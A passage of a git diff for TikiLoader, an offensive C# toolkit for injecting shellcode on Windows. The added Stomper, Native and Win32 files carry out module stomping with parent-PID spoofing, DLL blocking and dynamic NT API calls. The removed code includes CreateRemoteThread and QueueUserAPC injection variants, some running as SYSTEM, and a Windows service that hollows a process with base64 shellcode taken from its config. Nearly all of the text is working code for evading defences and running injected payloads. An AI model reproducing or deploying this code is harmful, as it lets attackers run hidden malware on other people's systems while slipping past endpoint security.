= StartProcessAsSystem(binary, pidToDuplicate); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - public static void CRTInjectElevated(string binary, int elevatedPid, byte[] shellcode) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - ResumeTargetProcess(pinf.hProcess, baseAddr); - } - - // QueueUserAPC - - public static void QUAPCInject(string binary, byte[] shellcode, int ppid) - { - var pinf = StartProcess(binary, ppid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectWithoutPid(string binary, byte[] shellcode) - { - var pinf = StartProcessWOPid(binary); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectAs(string binary, string domain, string username, string password, byte[] shellcode) - { - var pinf = StartProcessAs(binary, domain, username, password); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectAsSystem(string binary, int pidToDuplicate, byte[] shellcode) - { - var pinf = StartProcessAsSystem(binary, pidToDuplicate); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - - public static void QUAPCInjectElevated(string binary, int elevatedPid, byte[] shellcode) - { - var pinf = StartElevatedProcess(binary, elevatedPid); - var baseAddr = AllocateVirtualMemory(pinf.hProcess, (uint)shellcode.Length); - WriteShellcode(pinf.hProcess, baseAddr, shellcode); - ChangeVirtualMemory(pinf.hProcess, baseAddr, (IntPtr)shellcode.Length); - QueueAPC(baseAddr, pinf.hThread); - ResumeTargetThread(pinf.hThread); - } - } -} \ No newline at end of file diff --git a/TikiLoader/Native.cs b/TikiLoader/Native.cs new file mode 100644 index 0000000..3e4275a --- /dev/null +++ b/TikiLoader/Native.cs @@ -0,0 +1,108 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public static class Native + { + public static Data.Native.PROCESS_BASIC_INFORMATION NtQueryInformationProcessBasicInformation(IntPtr hProcess) + { + _ = NtQueryInformationProcess(hProcess, Data.Native.PROCESSINFOCLASS.ProcessBasicInformation, out var pProcInfo); + return (Data.Native.PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(Data.Native.PROCESS_BASIC_INFORMATION)); + } + + private static uint NtQueryInformationProcess(IntPtr hProcess, Data.Native.PROCESSINFOCLASS processInfoClass, out IntPtr pProcInfo) + { + int processInformationLength; + uint retLen = 0; + + switch (processInfoClass) + { + case Data.Native.PROCESSINFOCLASS.ProcessBasicInformation: + var pbi = new Data.Native.PROCESS_BASIC_INFORMATION(); + pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(pbi)); + RtlZeroMemory(pProcInfo, Marshal.SizeOf(pbi)); + Marshal.StructureToPtr(pbi, pProcInfo, true); + processInformationLength = Marshal.SizeOf(pbi); + break; + + default: + throw new InvalidOperationException($"Invalid ProcessInfoClass: {processInfoClass}"); + } + + object[] parameters = { hProcess, processInfoClass, pProcInfo, processInformationLength, retLen }; + + var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtQueryInformationProcess", typeof(Delegates.NtQueryInformationProcess), ref parameters); + pProcInfo = (IntPtr)parameters[2]; + + return result; + } + + private static void RtlZeroMemory(IntPtr destination, int length) + { + object[] parameters = { destination, length }; + Generic.DynamicApiInvoke("ntdll.dll", "RtlZeroMemory", typeof(Delegates.RtlZeroMemory), ref parameters); + } + + public static void RtlInitUnicodeString(ref Data.Native.UNICODE_STRING destinationString, [MarshalAs(UnmanagedType.LPWStr)] string sourceString) + { + object[] parameters = { destinationString, sourceString }; + Generic.DynamicApiInvoke("ntdll.dll", "RtlInitUnicodeString", typeof(Delegates.RtlInitUnicodeString), ref parameters); + destinationString = (Data.Native.UNICODE_STRING)parameters[0]; + } + + public static uint LdrLoadDll(IntPtr pathToFile, uint dwFlags, ref Data.Native.UNICODE_STRING moduleFileName, ref IntPtr moduleHandle) + { + object[] parameters = { pathToFile, dwFlags, moduleFileName, moduleHandle }; + var result = (uint)Generic.DynamicApiInvoke("ntdll.dll", "LdrLoadDll", typeof(Delegates.LdrLoadDll), ref parameters); + + moduleHandle = (IntPtr)parameters[3]; + return result; + } + + public static IntPtr NtAllocateVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, IntPtr zeroBits, ref IntPtr regionSize, uint allocationType, uint protect) + { + object[] parameters = { processHandle, baseAddress, zeroBits, regionSize, allocationType, protect }; + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtAllocateVirtualMemory", typeof(Delegates.NtAllocateVirtualMemory), ref parameters); + + baseAddress = (IntPtr)parameters[1]; + return baseAddress; + } + + public static uint NtWriteVirtualMemory(IntPtr processHandle, IntPtr baseAddress, IntPtr buffer, uint bufferLength) + { + uint bytesWritten = 0; + object[] parameters = { processHandle, baseAddress, buffer, bufferLength, bytesWritten }; + + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtWriteVirtualMemory", typeof(Delegates.NtWriteVirtualMemory), ref parameters); + bytesWritten = (uint)parameters[4]; + return bytesWritten; + } + + public static void NtFreeVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint freeType) + { + object[] parameters = { processHandle, baseAddress, regionSize, freeType }; + _ = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtFreeVirtualMemory", typeof(Delegates.NtFreeVirtualMemory), ref parameters); + } + + public static uint NtCreateThreadEx(ref IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList) + { + object[] parameters = { threadHandle, desiredAccess, objectAttributes, processHandle, startAddress, parameter, createSuspended, stackZeroBits, + sizeOfStack, maximumStackSize, attributeList }; + + var retValue = (uint)Generic.DynamicApiInvoke("ntdll.dll", "NtCreateThreadEx", typeof(Delegates.NtCreateThreadEx), ref parameters); + threadHandle = (IntPtr)parameters[0]; + return retValue; + } + + public static uint NtProtectVirtualMemory(IntPtr processHandle, ref IntPtr baseAddress, ref IntPtr regionSize, uint newProtect) + { + uint oldProtect = 0; + object[] parameters = { processHandle, baseAddress, regionSize, newProtect, oldProtect }; + + _ = (uint)Generic.DynamicApiInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref parameters); + oldProtect = (uint)parameters[4]; + return oldProtect; + } + } +} \ No newline at end of file diff --git a/TikiLoader/Stomper.cs b/TikiLoader/Stomper.cs new file mode 100644 index 0000000..9145cd6 --- /dev/null +++ b/TikiLoader/Stomper.cs @@ -0,0 +1,306 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +namespace TikiLoader +{ + public class Stomper + { + public string BinaryPath { get; set; } = "C:\\Windows\\System32\\notepad.exe"; + public string WorkingDirectory { get; set; } = "C:\\Windows\\System32"; + public string ModuleName { get; set; } = "xpsservices.dll"; + public string ExportName { get; set; } = "DllCanUnloadNow"; + + public int ParentId { get; set; } = 0; + public bool BlockDlls { get; set; } = false; + + private bool Is64Bit => IntPtr.Size == 8; + + public void Stomp(byte[] shellcode) + { + var pi = SpawnProcess(); + + if (!LoadModule(pi)) + throw new Exception("Failed to load module in process"); + + if (!WriteAndExecuteShellcode(pi, shellcode)) + throw new Exception("Failed to execute shellcode"); + } + + private Data.Win32.Kernel32.PROCESS_INFORMATION SpawnProcess() + { + var startupInfoEx = new Data.Win32.Kernel32.STARTUPINFOEX(); + startupInfoEx.Startupinfo.cb = (uint)Marshal.SizeOf(startupInfoEx); + startupInfoEx.Startupinfo.dwFlags = (uint)Data.Win32.Kernel32.STARTF.STARTF_USESHOWWINDOW; + + var lpValue = Marshal.AllocHGlobal(IntPtr.Size); + var lpSize = IntPtr.Zero; + + var attributeCount = 0; + if (ParentId != 0) attributeCount++; + if (BlockDlls) attributeCount++; + + // always false the first time, lpSize is given a value + _ = Win32.InitializeProcThreadAttributeList( + IntPtr.Zero, + attributeCount, + ref lpSize); + + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + + // should be true this time + var success = Win32.InitializeProcThreadAttributeList( + startupInfoEx.lpAttributeList, + attributeCount, + ref lpSize); + + if (!success) + throw new Exception("Failed to InitializeProcThreadAttributeList"); + + if (BlockDlls) + { + Marshal.WriteIntPtr(lpValue, + Is64Bit ? + new IntPtr(Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON) + : new IntPtr(unchecked((uint)Data.Win32.Kernel32.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); + + success = Win32.UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + (IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpValue); + + if (!success) + throw new Exception("Failed to UpdateProcThreadAttribute for BlockDLLs"); + } + + if (ParentId != 0) + { + var hParent = Process.GetProcessById(ParentId).Handle; + lpValue = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteIntPtr(lpValue, hParent); + + success = Win32.UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + (IntPtr)Data.Win32.Kernel32.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpValue); + + if (!success) + throw new Exception("Failed to UpdateProcThreadAttribute for PPID Spoofing"); + } + + success = Win32.CreateProcessA( + BinaryPath, + WorkingDirectory, + Data.Win32.Kernel32.EXTENDED_STARTUPINFO_PRESENT, + startupInfoEx, + out var pi); + + if (!success) + throw new Exception($"Failed to spawn {BinaryPath}"); + + // suppose we don't really care if this fails, it's not critical + _ = Win32.DeleteProcThreadAttribute(startupInfoEx.lpAttributeList); + Marshal.FreeHGlobal(lpValue); + + return pi; + } + + private bool LoadModule(Data.Win32.Kernel32.PROCESS_INFORMATION pi) + { + // Get address of LoadLibraryExA + var kernel32 = Generic.GetPebLdrModuleEntry("kernel32.dll"); + var loadLibraryEx = Generic.GetExportAddress(kernel32, "LoadLibraryExA"); + + // Generate Shim + var shim = GenerateShim((long)loadLibraryEx); + var moduleName = Encoding.ASCII.GetBytes(ModuleName); + + // Allocate memory regions + var baseAddress = IntPtr.Zero; + var regionSize = new IntPtr(moduleName.Length + 2); + + // this one to hold the module name + var allocModule = Native.NtAllocateVirtualMemory( + pi.hProcess, + ref baseAddress, + IntPtr.Zero, + ref regionSize, + Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, + Data.Win32.WinNT.PAGE_READWRITE); + + baseAddress = IntPtr.Zero; + regionSize = new IntPtr(shim.Length); + + // this one to hold the shim + var allocShim = Native.NtAllocateVirtualMemory( + pi.hProcess, + ref baseAddress, + IntPtr.Zero, + ref regionSize, + Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE, + Data.Win32.WinNT.PAGE_READWRITE); + + // Write memory + var buffer = Marshal.AllocHGlobal(moduleName.Length); + Marshal.Copy(moduleName, 0, buffer, moduleName.Length); + + Native.NtWriteVirtualMemory( + pi.hProcess, + allocModule, + buffer, + (uint)moduleName.Length); + + Marshal.FreeHGlobal(buffer); + + buffer = Marshal.AllocHGlobal(shim.Length); + Marshal.Copy(shim, 0, buffer, shim.Length); + + Native.NtWriteVirtualMemory( + pi.hProcess, + allocShim, + buffer, + (uint)shim.Length); + + Marshal.FreeHGlobal(buffer); + + // Change the shim region from RW to RX + var size = new IntPtr(shim.Length); + Native.NtProtectVirtualMemory( + pi.hProcess, + ref allocShim, + ref size, + Data.Win32.WinNT.PAGE_EXECUTE_READ); + + // Load DLL into process + var hThread = IntPtr.Zero; + Native.NtCreateThreadEx( + ref hThread, + Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, + IntPtr.Zero, + pi.hProcess,//process.Handle, + allocShim, + allocModule, + false, + 0, + 0, + 0, + IntPtr.Zero); + + // Wait for thread + Win32.WaitForSingleObject(hThread, Data.Win32.WinNT.INFINITE); + + // Free memory regions + size = IntPtr.Zero; + Native.NtFreeVirtualMemory( + pi.hProcess, + ref allocModule, + ref size, + Data.Win32.Kernel32.MEM_RELEASE); + + Native.NtFreeVirtualMemory( + pi.hProcess, + ref allocShim, + ref size, + Data.Win32.Kernel32.MEM_RELEASE); + + using var process = Process.GetProcessById((int)pi.dwProcessId); + return process.Modules.Cast().Any(module => module.ModuleName.Equals(ModuleName)); + } + + private bool WriteAndExecuteShellcode(Data.Win32.Kernel32.PROCESS_INFORMATION pi, byte[] shellcode) + { + // Calculate offset from base to exported function + var hModule = Generic.LoadModuleFromDisk(ModuleName); + var export = Generic.GetExportAddress(hModule, ExportName); + var offset = (long)export - (long)hModule; + + var targetAddress = IntPtr.Zero; + using var process = Process.GetProcessById((int)pi.dwProcessId); + + foreach (ProcessModule module in process.Modules) + { + if (!module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase)) continue; + + targetAddress = new IntPtr((long)module.BaseAddress + offset); + break; + } + + // Write and execute shellcode + var buffer = Marshal.AllocHGlobal(shellcode.Length); + Marshal.Copy(shellcode, 0, buffer, shellcode.Length); + + var size = new IntPtr(shellcode.Length); + Native.NtProtectVirtualMemory( + process.Handle, + ref targetAddress, + ref size, + Data.Win32.WinNT.PAGE_READWRITE); + + Native.NtWriteVirtualMemory( + process.Handle, + targetAddress, + buffer, + (uint)shellcode.Length); + + Native.NtProtectVirtualMemory( + process.Handle, + ref targetAddress, + ref size, + Data.Win32.WinNT.PAGE_EXECUTE_READ); + + Marshal.FreeHGlobal(buffer); + + var hThread = IntPtr.Zero; + Native.NtCreateThreadEx( + ref hThread, + Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, + IntPtr.Zero, + process.Handle, + targetAddress, + IntPtr.Zero, + false, + 0, + 0, + 0, + IntPtr.Zero); + + return hThread != IntPtr.Zero; + } + + private byte[] GenerateShim(long loadLibraryExP) + { + using var ms = new MemoryStream(); + using var bw = new BinaryWriter(ms); + + if (Is64Bit) + { + bw.Write((ulong)loadLibraryExP); + var loadLibraryExBytes = ms.ToArray(); + + return new byte[] { + 0x48, 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], loadLibraryExBytes[4], loadLibraryExBytes[5], loadLibraryExBytes[6],loadLibraryExBytes[7], + 0x49, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xD2, + 0xFF, 0xE0 + }; + } + else + { + bw.Write((uint)loadLibraryExP); + var loadLibraryExBytes = ms.ToArray(); + + return new byte[] { + 0xB8, loadLibraryExBytes[0], loadLibraryExBytes[1], loadLibraryExBytes[2], loadLibraryExBytes[3], + 0x6A, 0x01, + 0x6A, 0x00, + 0xFF, 0x74, 0x24, 0x0c, + 0xFF, 0xD0, + 0xC2, 0x0C, 0x00 + }; + } + } + } +} \ No newline at end of file diff --git a/TikiLoader/Structs.cs b/TikiLoader/Structs.cs deleted file mode 100644 index 38f4bf0..0000000 --- a/TikiLoader/Structs.cs +++ /dev/null @@ -1,154 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace TikiLoader -{ - public class Structs - { - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public int dwProcessId; - public int dwThreadId; - } - - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr Reserved1; - public IntPtr PebAddress; - public IntPtr Reserved2; - public IntPtr Reserved3; - public IntPtr UniquePid; - public IntPtr MoreReserved; - } - - [StructLayout(LayoutKind.Sequential)] - public struct STARTUPINFO - { - public uint cb; - public IntPtr lpReserved; - public IntPtr lpDesktop; - public IntPtr lpTitle; - public uint dwX; - public uint dwY; - public uint dwXSize; - public uint dwYSize; - public uint dwXCountChars; - public uint dwYCountChars; - public uint dwFillAttributes; - public uint dwFlags; - public ushort wShowWindow; - public ushort cbReserved; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdErr; - } - - [StructLayout(LayoutKind.Sequential)] - public struct STARTUPINFOEX - { - public STARTUPINFO StartupInfo; - public IntPtr lpAttributeList; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SECURITY_ATTRIBUTES - { - public int nLength; - public IntPtr lpSecurityDescriptor; - public int bInheritHandle; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SYSTEM_INFO - { - public uint dwOem; - public uint dwPageSize; - public IntPtr lpMinAppAddress; - public IntPtr lpMaxAppAddress; - public IntPtr dwActiveProcMask; - public uint dwNumProcs; - public uint dwProcType; - public uint dwAllocGranularity; - public ushort wProcLevel; - public ushort wProcRevision; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct LARGE_INTEGER - { - public uint LowPart; - public int HighPart; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SHELLEXECUTEINFO - { - public int cbSize; - public uint fMask; - public IntPtr hwnd; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpVerb; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpFile; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpParameters; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpDirectory; - public int nShow; - public IntPtr hInstApp; - public IntPtr lpIDList; - [MarshalAs(UnmanagedType.LPTStr)] - public string lpClass; - public IntPtr hkeyClass; - public uint dwHotKey; - public IntPtr hIcon; - public IntPtr hProcess; - } - - public struct SID_IDENTIFIER_AUTHORITY - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6)] - public byte[] Value; - public SID_IDENTIFIER_AUTHORITY(byte[] value) - { - Value = value; - } - } - - [StructLayout(LayoutKind.Sequential)] - public struct SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TOKEN_MANDATORY_LABEL - { - public SID_AND_ATTRIBUTES Label; - } - - [StructLayout(LayoutKind.Sequential)] - public struct CLIENT_ID - { - public int UniqueProcess; - public int UniqueThread; - } - - [StructLayout(LayoutKind.Sequential)] - public struct THREAD_BASIC_INFORMATION - { - public int ExitStatus; - public IntPtr TebBaseAddress; - public CLIENT_ID ClientId; - public IntPtr AffinityMask; - public int Priority; - public int BasePriority; - } - } -} \ No newline at end of file diff --git a/TikiLoader/TikiLoader.csproj b/TikiLoader/TikiLoader.csproj index f226bf7..0b739a2 100644 --- a/TikiLoader/TikiLoader.csproj +++ b/TikiLoader/TikiLoader.csproj @@ -9,9 +9,10 @@ Properties TikiLoader TikiLoader - v4.5 + v4.7.2 512 true + 10 true @@ -43,13 +44,13 @@ - + + - - - + + - + \ No newline at end of file diff --git a/TikiLoader/Win32.cs b/TikiLoader/Win32.cs new file mode 100644 index 0000000..d053ef0 --- /dev/null +++ b/TikiLoader/Win32.cs @@ -0,0 +1,52 @@ +using System; +using System.IO; + +namespace TikiLoader +{ + public static class Win32 + { + public static bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, ref IntPtr lpSize) + { + object[] parameters = { lpAttributeList, dwAttributeCount, 0, lpSize }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "InitializeProcThreadAttributeList", typeof(Delegates.InitializeProcThreadAttributeList), ref parameters); + + lpSize = (IntPtr)parameters[3]; + return retVal; + } + + public static bool UpdateProcThreadAttribute(IntPtr lpAttributeList, IntPtr attribute, IntPtr lpValue) + { + object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(Delegates.UpdateProcThreadAttribute), ref parameters); + return retVal; + } + + public static bool DeleteProcThreadAttribute(IntPtr lpAttributeList) + { + object[] parameters = { lpAttributeList }; + var retVal = (bool)Generic.DynamicApiInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(Delegates.DeleteProcThreadAttributeList), ref parameters); + return retVal; + } + + public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, Data.Win32.Kernel32.STARTUPINFOEX startupInfoEx, out Data.Win32.Kernel32.PROCESS_INFORMATION processInformation) + { + var pa = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); + var ta = new Data.Win32.WinBase.SECURITY_ATTRIBUTES(); + var pi = new Data.Win32.Kernel32.PROCESS_INFORMATION(); + + object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi }; + var result = (bool)Generic.DynamicApiInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters); + + if (!result) processInformation = pi; + + processInformation = (Data.Win32.Kernel32.PROCESS_INFORMATION)parameters[9]; + return result; + } + + public static uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds) + { + object[] parameters = { hHandle, dwMilliseconds }; + return (uint)Generic.DynamicApiInvoke(@"kernel32.dll", @"WaitForSingleObject", typeof(Delegates.WaitForSingleObject), ref parameters); + } + } +} \ No newline at end of file diff --git a/TikiService/App.config b/TikiService/App.config deleted file mode 100644 index bea5d4b..0000000 --- a/TikiService/App.config +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/TikiService/FodyWeavers.xml b/TikiService/FodyWeavers.xml deleted file mode 100644 index 5029e70..0000000 --- a/TikiService/FodyWeavers.xml +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/TikiService/FodyWeavers.xsd b/TikiService/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiService/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiService/Program.cs b/TikiService/Program.cs deleted file mode 100644 index 76729e9..0000000 --- a/TikiService/Program.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.ServiceProcess; -using System.Text; -using System.Threading.Tasks; - -namespace TikiService -{ - static class Program - { - /// - /// The main entry point for the application. - /// - static void Main() - { - ServiceBase[] ServicesToRun; - ServicesToRun = new ServiceBase[] - { - new TikiService() - }; - ServiceBase.Run(ServicesToRun); - } - } -} diff --git a/TikiService/Properties/AssemblyInfo.cs b/TikiService/Properties/AssemblyInfo.cs deleted file mode 100644 index 8ab594b..0000000 --- a/TikiService/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiService")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiService")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("fc700ac6-5182-421f-8853-0ad18cdbeb39")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiService/TikiService.Designer.cs b/TikiService/TikiService.Designer.cs deleted file mode 100644 index 7068a6f..0000000 --- a/TikiService/TikiService.Designer.cs +++ /dev/null @@ -1,37 +0,0 @@ -namespace TikiService -{ - partial class TikiService - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - components = new System.ComponentModel.Container(); - this.ServiceName = "Service1"; - } - - #endregion - } -} diff --git a/TikiService/TikiService.cs b/TikiService/TikiService.cs deleted file mode 100644 index c684694..0000000 --- a/TikiService/TikiService.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using System.Configuration; -using System.ServiceProcess; - -using TikiLoader; - -namespace TikiService -{ - public partial class TikiService : ServiceBase - { - public TikiService() - { - InitializeComponent(); - } - - protected override void OnStart(string[] args) - { - try - { - var settings = ConfigurationManager.AppSettings; - string binary = settings["Binary"]; - byte[] shellcode = Convert.FromBase64String(settings["Shellcode"]); - - var hollower = new Hollower(); - hollower.HollowWithoutPid(binary, shellcode); - } - catch - { - //pokemon - } - } - - protected override void OnStop() - { - } - } -} \ No newline at end of file diff --git a/TikiService/TikiService.csproj b/TikiService/TikiService.csproj deleted file mode 100644 index b5fdfad..0000000 --- a/TikiService/TikiService.csproj +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - Debug - AnyCPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39} - WinExe - TikiService - TikiService - v4.5 - 512 - true - - - - - AnyCPU - true - full - true - bin\Debug\ - - - prompt - 4 - false - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - false - - - - ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll - - - - - - - - - - - - - - - Component - - - TikiService.cs - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - \ No newline at end of file diff --git a/TikiService/packages.config b/TikiService/packages.config deleted file mode 100644 index 01e2767..0000000 --- a/TikiService/packages.config +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/TikiSpawn/App.config b/TikiSpawn/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiSpawn/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiSpawn/FodyWeavers.xml b/TikiSpawn/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiSpawn/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiSpawn/FodyWeavers.xsd b/TikiSpawn/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiSpawn/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - 